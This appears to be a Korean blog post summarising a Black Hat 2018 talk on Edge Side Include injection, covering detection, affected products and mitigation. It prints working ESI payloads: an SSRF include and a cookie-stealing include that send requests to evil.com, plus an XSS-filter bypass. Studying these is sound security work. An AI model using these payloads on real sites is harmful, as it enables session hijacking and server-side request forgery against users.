Beyond XSS: Edge Side Include Injection

조승현·2022년 8월 17일
0

Blackhat US 2018

목록 보기
1/1

1. What Are Edge Side Includes (ESI)?

XML 태그에 기반하며 web content의 heavy caching을 가능케하는 popular HTTP surrogates (reverse proxies, load balancers, caching servers, proxy servers)에 사용되는 언어라고 합니다.

esi에서 ssrf, xss, HTTPOnly cookie mitigation flag, server-side DOS가 발생함을 발견

2. Where the Problem Lies

공격자가 ESI TAG를 HTTP response에 반영시킬수 있으면 surrogate는 parse해서 올바른 tag라고 믿게 된다. HTML이 아닌 response에도 유효하며 JSON objects에 ESI tag를 삽입할 수 있는것이 그 예이다.

3. side effects of ESI injections

  1. ssrf
<esi:include src="http://evil.com/ping/" />
  1. bypass client-side xss filters
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$
(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$
(var1)"/>>
<script>alert(/Chrome%20XSS%20filter%20bypass/);</script>
  1. bypass the httpOnly cookie flag
<esi:include src="http://evil.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
  1. Implementation Variations

4. how to detect ESI

Surrogate-Control: content="ESI/1.0",

헤더를 포함하면 ESI를 사용하는것을 의미한다. 하지만 대부분의 proxy나 load balancer는 이 헤더를 지우도록 처리하기 때문에 client에서는 보이지 않는다. 그래서 직접 ESI를 해보는 수 밖에 없다.

FOO<!-esi ->BAR → FOOBAR (취약)
FOO<!-foo ->BAR → FOO<!-foo ->BAR

문서에서 제공한 간단한 방법이다.

5. ESI use in the industry

좀 오래 돼서 인기가 많진 않지만 현대 modern caching system에 여전히 일부분 사용된다고 한다. IBM WebSphere, Squid3, Oracle Fusion/WebLogic, F5, LiteSpeed 등

6. solution

XSS를 막는 기술들만 사용해도 ESI injection을 막기에는 충분할 것이다.

REFERENCE
https://www.blackhat.com/us-18/briefings/schedule/#edge-side-include-injection-abusing-caching-servers-into-ssrf-and-transparent-session-hijacking-11504
https://www.hahwul.com/cullinan/esii/
https://www.fastly.com/blog/using-esi-part-1-simple-edge-side-include

profile
Inha University / CTF Web Player / Team Riot of Noob

0개의 댓글